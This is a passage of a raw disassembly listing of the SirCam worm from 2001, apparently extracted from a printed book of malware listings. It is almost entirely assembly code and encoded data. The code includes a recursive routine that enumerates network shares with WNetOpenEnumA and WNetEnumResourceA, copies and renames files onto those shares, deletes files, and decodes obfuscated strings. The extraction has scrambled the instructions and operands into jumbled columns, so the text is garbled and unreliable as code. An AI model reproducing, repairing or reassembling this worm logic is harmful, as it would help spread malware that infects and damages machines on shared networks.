dword ptr fs:[eax] fs:[eax], esp 1 1 eax, [ebp+var_14] eax ecx, offset dword_4182E8 edx, offset dword_4182F4 eax, ds:dword_41EEFC sub_415EAC dl, 1 eax, ds:off_40BB68 sub_402BAC ds:dword_41EF14, eax dl, 1 eax, ds:off_40BB68 sub_402BAC ds:dword_41EF18, eax 0Ah eax, [ebp+var_4] ecx, 1 edx, ds:off_417C0C sub_4045A0 esp, 4 ecx, [ebp+var_18] edx, edx eax, offset dword_418300 sub_415FAC edx, [ebp+var_18] eax, [ebp+var_4] eax, 4 sub_40351C ecx, [ebp+var_1C] edx, edx eax, offset dword_418310 sub_415FAC edx, [ebp+var_1C] eax, [ebp+var_4] eax, 8 sub_40351C ecx, [ebp+var_20] edx, edx eax, offset dword_418320 sub_415FAC edx, [ebp+var_20] eax, [ebp+var_4] eax, 0Ch sub_40351C ecx, [ebp+var_24] edx, edx eax, offset dword_418330 sub_415FAC loc_417F2C: sircam.asm Fri Aug 10 12:42:44 2001 mov mov add call lea xor mov call mov mov add call lea xor mov call mov mov add call lea xor mov call mov mov add call lea xor mov call mov mov add call lea xor mov call mov mov add call push push lea push lea xor mov call mov xor mov call lea xor mov call mov lea mov call cmp jnz push push lea mov 642 edx, [ebp+var_24] eax, [ebp+var_4] eax, 10h sub_40351C ecx, [ebp+var_28] edx, edx eax, offset a67nzo ; "67nzo" sub_415FAC edx, [ebp+var_28] eax, [ebp+var_4] eax, 14h sub_40351C ecx, [ebp+var_2C] edx, edx eax, offset dword_418350 sub_415FAC edx, [ebp+var_2C] eax, [ebp+var_4] eax, 18h sub_40351C ecx, [ebp+var_30] edx, edx eax, offset dword_418360 sub_415FAC edx, [ebp+var_30] eax, [ebp+var_4] eax, 1Ch sub_40351C ecx, [ebp+var_34] edx, edx eax, offset dword_418370 sub_415FAC edx, [ebp+var_34] eax, [ebp+var_4] eax, 20h sub_40351C ecx, [ebp+var_38] edx, edx eax, offset dword_418380 sub_415FAC edx, [ebp+var_38] eax, [ebp+var_4] eax, 24h sub_40351C 0 0 eax, [ebp+var_10] eax ecx, [ebp+var_3C] edx, edx eax, offset aOjmsq ; "Ojmsq" sub_415FAC edx, [ebp+var_3C] ecx, ecx eax, ds:dword_41EEEC sub_415EAC ecx, [ebp+var_40] edx, edx eax, offset dword_4183A0 sub_415FAC ecx, [ebp+var_40] eax, [ebp+var_C] edx, ds:dword_41EEE8 sub_403770 [ebp+var_8], 0 loc_41818A ebp 1 eax, [ebp+var_44] ecx, offset dword_4183AC sircam.asm Fri Aug 10 12:42:44 2001 mov call mov mov mov call pop push push lea mov mov call mov mov mov call pop push push lea mov mov call mov mov mov call pop push push lea mov mov call mov mov mov call pop edx, [ebp+var_C] sub_403770 edx, [ebp+var_44] ecx, 1 eax, [ebp+var_10] sub_417C88 ecx ebp 3 eax, [ebp+var_48] ecx, offset dword_4183B8 edx, [ebp+var_C] sub_403770 edx, [ebp+var_48] ecx, 2 eax, [ebp+var_10] sub_417C88 ecx ebp 4 eax, [ebp+var_4C] ecx, offset dword_4183C4 edx, [ebp+var_C] sub_403770 edx, [ebp+var_4C] ecx, 4 eax, [ebp+var_10] sub_417C88 ecx ebp 4 eax, [ebp+var_50] ecx, offset dword_4183D0 edx, [ebp+var_C] sub_403770 edx, [ebp+var_50] ecx, 4 eax, ds:dword_41EEE0 sub_417C88 ecx cmp jz mov mov call jnz ; CODE XREF: sub_417F24+1CE\030j [ebp+var_8], 0 short loc_4181A3 eax, [ebp+var_8] edx, offset dword_4183DC sub_403834 loc_418247 loc_41818A: loc_4181A3: 643 ; CODE XREF: sub_417F24+26A\030j push 0 push 0 lea eax, [ebp+var_58] push eax lea ecx, [ebp+var_5C] xor edx, edx mov eax, offset aDaxdipbxnSugav ; "\204\235\225¤¨\217¡\225\215{\230 \223£\235¢\237\227¢\213\207rp\213\207rpc\214\210\217\221Pw\227\233\225Q|\220"... call sub_415FAC mov eax, [ebp+var_5C] xor ecx, ecx xor edx, edx call sub_415EAC mov eax, [ebp+var_58] lea edx, [ebp+var_54] call sub_4073B8 mov edx, [ebp+var_54] mov eax, offset dword_41EEF4 call sub_40351C cmp ds:dword_41EEF4, 0 sircam.asm Fri Aug 10 12:42:44 2001 644 jnz short loc_4181F9 mov eax, offset dword_41EEF4 mov edx, ds:dword_41EEE8 call sub_40351C jmp short loc_418214 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4181F9: mov call mov mov call mov ; CODE XREF: sub_417F24+2C1\030j eax, ds:dword_41EEF4 sub_403724 ebx, eax eax, offset dword_41EEF4 sub_4038F4 byte ptr [eax+ebx-1], 20h push push lea mov call mov push lea mov mov call mov mov pop call pop ; CODE XREF: sub_417F24+2D3\030j ebp 9 edx, [ebp+var_60] eax, ds:dword_41EEF4 sub_406EEC eax, [ebp+var_60] eax eax, [ebp+var_64] ecx, offset dword_41841C edx, [ebp+var_C] sub_403770 edx, [ebp+var_64] ecx, 9 eax sub_417C88 ecx cmp jz mov mov call jnz ; CODE XREF: sub_417F24+279\030j [ebp+var_8], 0 short loc_41825C eax, [ebp+var_8] edx, offset dword_418428 sub_403834 short loc_418286 push push push lea mov mov call mov mov mov call pop ; CODE XREF: sub_417F24+327\030j ebp 5 7 eax, [ebp+var_68] ecx, offset dword_418434 edx, [ebp+var_C] sub_403770 eax, [ebp+var_68] ecx, ds:dword_41EEE4 edx, ds:dword_41EEE0 sub_417D9C ecx mov call mov call lea mov call xor pop pop pop mov push ; CODE XREF: sub_417F24+336\030j eax, ds:dword_41EF14 sub_402BDC eax, ds:dword_41EF18 sub_402BDC eax, [ebp+var_4] edx, ds:off_417C0C sub_4045AC eax, eax edx ecx ecx fs:[eax], edx offset loc_4182D8 loc_418214: loc_418247: loc_41825C: loc_418286: sircam.asm loc_4182B5: sub_417F24 Fri Aug 10 12:42:44 2001 645 ; CODE XREF: CODE:004182D6\031j lea eax, [ebp+var_68] mov edx, 19h call sub_4034EC lea eax, [ebp+var_4] mov edx, ds:off_417C0C call sub_4045AC retn endp ; sp = -54h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4182D1: ; DATA XREF: sub_417F24+1E\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4182B5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4182D8: ; DATA XREF: sub_417F24+38C\030o pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_4182E8 dd 35h, 0FFFFFFFFh, 3 ; DATA XREF: sub_417F24+31\030o dword_4182F4 dd 334446h, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+36\030o dword_418300 dd 3579717Fh, 3Ah, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+84\030o dword_418310 dd 357E6E73h, 3Ah, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+A1\030o dword_418320 dd 357E7874h, 3Ah, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+BE\030o dword_418330 dd 7F723736h, 79h, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+DB\030o a67nzo db ’67nzo’,0 ; DATA XREF: sub_417F24+F8\030o align 4 dd 0FFFFFFFFh, 5 dword_418350 dd 77823736h, 7Fh, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+115\030o dword_418360 dd 74843736h, 7Ch, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+132\030o dword_418370 dd 836F3736h, 71h, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+14F\030o dword_418380 dd 6C813736h, 6Eh, 0FFFFFFFFh, 5 ; DATA XREF: sub_417F24+16C\030o aOjmsq db ’Ojmsq’,0 ; DATA XREF: sub_417F24+191\030o align 4 dd 0FFFFFFFFh, 3 dword_4183A0 dd 6B7A66h, 0FFFFFFFFh, 1 ; DATA XREF: sub_417F24+1AF\030o dword_4183AC dd 79h, 0FFFFFFFFh, 1 ; DATA XREF: sub_417F24+1DA\030o dword_4183B8 dd 68h, 0FFFFFFFFh, 1 ; DATA XREF: sub_417F24+1FE\030o dword_4183C4 dd 69h, 0FFFFFFFFh, 1 ; DATA XREF: sub_417F24+222\030o dword_4183D0 dd 74h, 0FFFFFFFFh, 1 ; DATA XREF: sub_417F24+246\030o dword_4183DC dd 31h, 0FFFFFFFFh, 2Ah ; DATA XREF: sub_417F24+26F\030o aDaxdipbxnSugav db ’\204\235\225¤¨\217¡\225\215{\230\223£\235¢\237\227¢\213\207rp\213\207 rpc\214\210\217\221Pw\227\233\225Q|\220\235\226\212’,0 ; DATA XREF: sub_417F24+28C\030o align 4 dd 0FFFFFFFFh, 1 dword_41841C dd 77h, 0FFFFFFFFh, 1 ; DATA XREF: sub_417F24+307\030o dword_418428 dd 32h, 0FFFFFFFFh, 1 ; DATA XREF: sub_417F24+32C\030o dword_418434 dd 64h ; DATA XREF: sub_417F24+340\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_418438 proc near var_1D4 var_8 var_4 = byte ptr -1D4h = dword ptr -8 = dword ptr -4 push mov add ebp ebp, esp esp, 0FFFFFE2Ch ; CODE XREF: sub_4184C4+19C\031p sircam.asm Fri Aug 10 12:42:44 2001 mov mov mov call mov call xor push push push mov mov lea call lea call mov lea call call lea call xor pop pop pop mov push [ebp+var_8], edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, [ebp+var_8] sub_4038D8 eax, eax ebp offset loc_4184B7 dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] eax, [ebp+var_1D4] sub_404E16 eax, [ebp+var_1D4] sub_405005 edx, [ebp+var_8] eax, [ebp+var_1D4] sub_403A60 sub_40520F eax, [ebp+var_1D4] sub_404F80 eax, eax edx ecx ecx fs:[eax], edx offset loc_4184BE loc_4184A9: sub_418438 646 ; CODE XREF: CODE:004184BC\031j lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -1DCh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4184B7: ; DATA XREF: sub_418438+22\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4184A9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4184BE: ; DATA XREF: sub_418438+6C\030o mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4184C4 proc near var_CD0 var_CCC var_CC8 var_CC4 var_CC0 var_CBC var_CB8 var_CB4 var_CB0 var_CAC var_CA8 var_CA4 = = = = = = = = = = = = dword dword dword dword dword dword dword dword dword dword dword dword ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ptr ; CODE XREF: sub_4184C4+81\031p ; sub_418880+1C3\031p -0CD0h -0CCCh -0CC8h -0CC4h -0CC0h -0CBCh -0CB8h -0CB4h -0CB0h -0CACh -0CA8h -0CA4h sircam.asm var_CA0 var_C9C var_C98 var_C94 var_C90 var_C84 var_10 var_C var_8 var_4 arg_0 Fri Aug 10 12:42:44 2001 = = = = = = = = = = = 647 byte ptr -0CA0h byte ptr -0C9Ch dword ptr -0C98h dword ptr -0C94h byte ptr -0C90h byte ptr -0C84h dword ptr -10h dword ptr -0Ch dword ptr -8 dword ptr -4 dword ptr 8 push mov mov ebp ebp, esp ecx, 19Ah push push dec jnz push push mov xor push push push mov mov lea push push push push push call test jnz mov lea push lea push lea push mov push call mov test jle lea ; CODE XREF: sub_4184C4+D\031j 0 0 ecx short loc_4184CC ebx esi ebx, eax eax, eax ebp offset loc_4187C9 dword ptr fs:[eax] fs:[eax], esp [ebp+var_C], 0C80h eax, [ebp+var_4] eax ebx 0 0 2 j_WNetOpenEnumA eax, eax loc_418793 [ebp+var_8], 64h eax, [ebp+var_C] eax eax, [ebp+var_C90] eax eax, [ebp+var_8] eax eax, [ebp+var_4] eax j_WNetEnumResourceA esi, [ebp+var_8] esi, esi loc_418793 ebx, [ebp+var_C84] loc_4184CC: loc_418534: ; CODE XREF: sub_4184C4+2C9\031j mov eax, [ebx] and eax, 2 cmp eax, 2 jnz short loc_418550 mov eax, [ebp+arg_0] push eax lea eax, [ebx-0Ch] call sub_4184C4 pop ecx jmp loc_418789 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418550: ; CODE XREF: sub_4184C4+78\030j mov and eax, [ebx-8] eax, 1 sircam.asm Fri Aug 10 12:42:44 2001 cmp jnz lea mov call lea xor mov call mov mov call lea mov mov mov mov lea lea call mov lea mov call lea lea call lea mov call mov push lea mov mov call mov mov pop call test jz lea xor mov call mov lea mov call mov push lea mov mov call mov pop call lea xor mov call mov mov call push push lea xor eax, 1 loc_418789 eax, [ebp+var_10] edx, [ebx+8] sub_403680 ecx, [ebp+var_C94] edx, edx eax, offset dword_4187E0 sub_415FAC edx, [ebp+var_C94] eax, offset dword_41EEF4 sub_40351C eax, [ebp+var_C9C] edx, ds:dword_41EEE8 dl, [edx] [eax+1], dl byte ptr [eax], 1 edx, [ebp+var_C9C] eax, [ebp+var_CA0] sub_402848 edx, offset dword_4187F8 eax, [ebp+var_CA0] cl, 2 sub_402818 edx, [ebp+var_CA0] eax, [ebp+var_C98] sub_4036EC eax, [ebp+var_C98] edx, ds:dword_41EEF4 sub_40372C eax, [ebp+var_C98] eax eax, [ebp+var_CA4] ecx, ds:dword_41EEF4 edx, [ebp+var_10] sub_403770 edx, [ebp+var_CA4] cl, 1 eax sub_416178 al, al loc_418789 ecx, [ebp+var_CAC] edx, edx eax, offset dword_418804 sub_415FAC ecx, [ebp+var_CAC] eax, [ebp+var_CA8] edx, [ebp+var_10] sub_403770 eax, [ebp+var_CA8] eax eax, [ebp+var_CB0] ecx, ds:dword_41EEF4 edx, offset dword_41881C sub_403770 edx, [ebp+var_CB0] eax sub_418438 ecx, [ebp+var_CB4] edx, edx eax, offset dword_41882C sub_415FAC edx, [ebp+var_CB4] eax, offset dword_41EEF4 sub_40351C [ebp+var_10] ds:dword_41EEF4 ecx, [ebp+var_CBC] edx, edx 648 sircam.asm Fri Aug 10 12:42:44 2001 mov call push lea mov call mov push push push lea xor mov call push lea mov call mov mov pop call push push lea xor mov call push mov mov call mov call push call lea mov mov call lea push lea xor mov call mov pop call mov xor mov call 649 eax, offset dword_418844 sub_415FAC [ebp+var_CBC] eax, [ebp+var_CB8] edx, 3 sub_4037E4 eax, [ebp+var_CB8] eax [ebp+var_10] ds:dword_41EEF4 ecx, [ebp+var_CC4] edx, edx eax, offset dword_418854 sub_415FAC [ebp+var_CC4] eax, [ebp+var_CC0] edx, 3 sub_4037E4 eax, [ebp+var_CC0] cl, 1 edx sub_416178 [ebp+var_10] ds:dword_41EEF4 ecx, [ebp+var_CC8] edx, edx eax, offset dword_418854 sub_415FAC [ebp+var_CC8] eax, offset dword_41EEF4 edx, 3 sub_4037E4 eax, ds:dword_41EEF4 sub_4038E8 eax j_DeleteFileA eax, [ebp+var_CCC] edx, ds:dword_41EEE8 dl, [edx] sub_403670 eax, [ebp+var_CCC] eax ecx, [ebp+var_CD0] edx, edx eax, offset dword_418868 sub_415FAC edx, [ebp+var_CD0] eax sub_40372C eax, [ebp+var_CCC] ecx, ecx edx, ds:dword_41EEF4 sub_416178 loc_418789: ; CODE XREF: sub_4184C4+87\030j ; sub_4184C4+95\030j ... add dec jnz loc_418793: ebx, 20h esi loc_418534 ; CODE XREF: sub_4184C4+3A\030j ; sub_4184C4+64\030j xor pop pop pop mov push lea mov eax, eax edx ecx ecx fs:[eax], edx offset loc_4187D0 eax, [ebp+var_CD0] edx, 0Ch sircam.asm Fri Aug 10 12:42:44 2001 sub_4184C4 call sub_4034EC lea eax, [ebp+var_C98] mov edx, 2 call sub_4034EC lea eax, [ebp+var_10] call sub_4034C8 retn endp ; sp = -60h 650 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4187C9: ; DATA XREF: sub_4184C4+16\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0EBh ; ë db 0D0h ; Ð ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4187D0: ; DATA XREF: sub_4184C4+2D7\030o pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 14h dword_4187E0 dd 7D7E8A77h, 7F857B94h, 836C747Fh, 4C4C5B8Dh, 7F917D49h ; DATA XREF: sub_4184C4+AE\030o dd 0 dword_4187F8 dd 3A01h, 0FFFFFFFFh, 0Dh ; DATA XREF: sub_4184C4+ED\030o dword_418804 dd 87877270h, 788A7683h, 74743F77h, 88h, 0FFFFFFFFh, 5 ; DATA XREF: sub_4184C4+15A\030o dword_41881C dd 6E697740h, 20h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_4184C4+18B\030o dword_41882C dd 807A876Fh, 85887F77h, 8086826Fh, 0, 0FFFFFFFFh, 6 ; DATA XREF: sub_4184C4+1A9\030o dword_418844 dd 71393C40h, 6F85h, 0FFFFFFFFh, 9 ; DATA XREF: sub_4184C4+1D4\030o dword_418854 dd 427A7974h, 87733B42h, 75h, 0FFFFFFFFh, 15h ; DATA XREF: sub_4184C4+20C \030o ; sub_4184C4+24B\030o dword_418868 dd 808C7556h, 877D927Fh, 6E767D81h, 4E5D8B85h, 937F474Eh ; DATA XREF: sub_4184C4+29C\030o dd 81h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_418880 proc near var_5C var_58 var_54 var_50 var_4C var_48 var_44 var_40 var_3C var_38 var_34 var_30 var_2C var_28 var_24 var_20 var_1C var_18 var_14 var_10 = = = = = = = = = = = = = = = = = = = = dword ptr -5Ch dword ptr -58h dword ptr -54h dword ptr -50h dword ptr -4Ch dword ptr -48h dword ptr -44h byte ptr -40h dword ptr -3Ch dword ptr -38h dword ptr -34h dword ptr -30h dword ptr -2Ch dword ptr -28h byte ptr -24h dword ptr -20h dword ptr -1Ch dword ptr -18h dword ptr -14h dword ptr -10h ; CODE XREF: start+724\031p sircam.asm var_C var_8 var_4 Fri Aug 10 12:42:44 2001 = byte ptr -0Ch = dword ptr -8 = dword ptr -4 push mov mov loc_418888: 651 ebp ebp, esp ecx, 0Bh ; CODE XREF: sub_418880+D\031j push 0 push 0 dec ecx jnz short loc_418888 push ecx push ebx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_4038D8 mov ebx, offset dword_41EEF4 xor eax, eax push ebp push offset loc_418B06 push dword ptr fs:[eax] mov fs:[eax], esp push 1 push 1 lea eax, [ebp+var_C] push eax mov ecx, offset dword_418B1C mov edx, offset dword_418B28 mov eax, ds:dword_41EEFC call sub_415EAC lea ecx, [ebp+var_10] xor edx, edx mov eax, offset dword_418B34 call sub_415FAC mov edx, [ebp+var_10] mov eax, ebx call sub_40351C lea eax, [ebp+var_14] mov ecx, [ebx] mov edx, ds:dword_41EEE8 call sub_403770 mov edx, [ebp+var_14] mov cl, 1 mov eax, [ebp+var_4] call sub_416178 lea ecx, [ebp+var_8] xor edx, edx mov eax, offset aPiapMasjguoink ; "\217¨ ¯³\232¬ \230\206£\236®¨-ª¢\226\222¥§\236ª³¬\226˜±«¬ ª-\220 ®¬£"... call sub_415FAC push 0 push 1 lea eax, [ebp+var_18] push eax lea ecx, [ebp+var_1C] xor edx, edx mov eax, offset dword_418B88 call sub_415FAC mov eax, [ebp+var_1C] push eax lea eax, [ebp+var_20] mov ecx, [ebx] mov edx, ds:dword_41EEE8 call sub_403770 mov ecx, [ebp+var_20] mov eax, [ebp+var_8] pop edx call sub_415EAC sircam.asm Fri Aug 10 12:42:44 2001 cmp jnz push push lea push lea xor mov call mov push lea mov mov call mov mov pop call loc_418984: 652 [ebp+var_18], 0 short loc_418984 1 1 eax, [ebp+var_24] eax ecx, [ebp+var_28] edx, edx eax, offset dword_418B88 sub_415FAC eax, [ebp+var_28] eax eax, [ebp+var_2C] ecx, [ebx] edx, ds:dword_41EEE8 sub_403770 ecx, [ebp+var_2C] eax, [ebp+var_8] edx sub_415EAC ; CODE XREF: sub_418880+CB\030j lea ecx, [ebp+var_30] xor edx, edx mov eax, offset dword_418B9C call sub_415FAC mov edx, [ebp+var_30] mov eax, ebx call sub_40351C lea eax, [ebp+var_34] mov ecx, [ebx] mov edx, ds:dword_41EEF0 call sub_403770 mov edx, [ebp+var_34] mov cl, 1 mov eax, [ebp+var_4] call sub_416178 lea ecx, [ebp+var_8] xor edx, edx mov eax, offset aJcdjkkdFjdmnzo ; "\206\226\204\206\212\212\204|\224 \206\204\214\215z\216\220\206\214{\203\220\213\214\201\217\202" call sub_415FAC push 0 push 2 lea eax, [ebp+var_38] push eax push offset dword_418BD4 push ds:dword_41EEF0 push dword ptr [ebx] push offset dword_418BE0 lea eax, [ebp+var_3C] mov edx, 4 call sub_4037E4 mov ecx, [ebp+var_3C] xor edx, edx mov eax, [ebp+var_8] call sub_415EAC mov eax, [ebp+var_38] mov edx, offset dword_418BF4 call sub_403834 jnz short loc_418A40 push 1 push 2 lea eax, [ebp+var_40] push eax push offset dword_418BD4 push ds:dword_41EEF0 push dword ptr [ebx] push offset dword_418BE0 lea eax, [ebp+var_44] sircam.asm Fri Aug 10 12:42:44 2001 mov call mov xor mov call 653 edx, 4 sub_4037E4 ecx, [ebp+var_44] edx, edx eax, [ebp+var_8] sub_415EAC loc_418A40: ; CODE XREF: sub_418880+18A\030j push ebp xor eax, eax call sub_4184C4 pop ecx mov eax, 21h call sub_4028F4 cmp eax, 8 jnz loc_418AEB lea ecx, [ebp+var_48] xor edx, edx mov eax, offset dword_418C04 call sub_415FAC mov edx, [ebp+var_48] mov eax, ebx call sub_40351C lea eax, [ebp+var_4C] mov ecx, [ebx] mov edx, ds:dword_41EEF8 call sub_403770 mov edx, [ebp+var_4C] mov cl, 1 mov eax, [ebp+var_4] call sub_416178 push 0 push 0 lea eax, [ebp+var_50] push eax lea ecx, [ebp+var_54] xor edx, edx mov eax, offset dword_418C18 call sub_415FAC mov edx, [ebp+var_54] xor ecx, ecx mov eax, ds:dword_41EEEC call sub_415EAC mov edx, [ebp+var_50] mov eax, ebx call sub_40351C lea ecx, [ebp+var_5C] xor edx, edx mov eax, offset aBomzcsculccmuc ; "\201o\214\207\227\221\226\223\213 \226Cm\223\226\210\226\223\207\227Dt\210\211\215\210\207Q\211\235\207" call sub_415FAC mov ecx, [ebp+var_5C] lea eax, [ebp+var_58] mov edx, [ebx] call sub_403770 mov edx, [ebp+var_58] xor ecx, ecx mov eax, [ebp+var_4] call sub_416178 loc_418AEB: xor pop pop pop mov push ; CODE XREF: sub_418880+1D6\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_418B0D lea ; CODE XREF: CODE:00418B0B\031j eax, [ebp+var_5C] loc_418AF8: sircam.asm sub_418880 Fri Aug 10 12:42:44 2001 654 mov edx, 17h call sub_4034EC retn endp ; sp = -80h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418B06: ; DATA XREF: sub_418880+24\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_418AF8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418B0D: ; DATA XREF: sub_418880+273\030o pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_418B1C dd 32h, 0FFFFFFFFh, 3 ; DATA XREF: sub_418880+37\030o dword_418B28 dd 374446h, 0FFFFFFFFh, 0Bh ; DATA XREF: sub_418880+3C\030o dword_418B34 dd 7253626Eh, 3F42427Fh, 758777h, 0FFFFFFFFh, 35h ; DATA XREF: sub_418880+50\030o aPiapMasjguoink db ’\217¨ ¯³\232¬ \230\206£\236®¨-ª¢-\226\222¥§\236ª³¬\226˜±«¬ ª-\220 ®¬£ ªª\225\214°ª\214\237-²¢\235 ¯’,0 ; DATA XREF: sub_418880+86\030o align 4 dd 0FFFFFFFFh, 8 dword_418B88 dd 84767E53h, 40407E74h, 0, 0FFFFFFFFh, 0Bh ; DATA XREF: sub_418880+9D \030o ; sub_418880+DA\030o dword_418B9C dd 8379626Eh, 3F424255h, 758777h, 0FFFFFFFFh, 1Ah ; DATA XREF: sub_418880+109\030o aJcdjkkdFjdmnzo db ’\206\226\204\206\212\212\204|\224\206\204\214\215z\216\220\206\214{ \203\220\213\214\201\217\202’,0 ; DATA XREF: sub_418880+13F\030o align 4 dd 0FFFFFFFFh, 1 dword_418BD4 dd 22h, 0FFFFFFFFh, 9 ; DATA XREF: 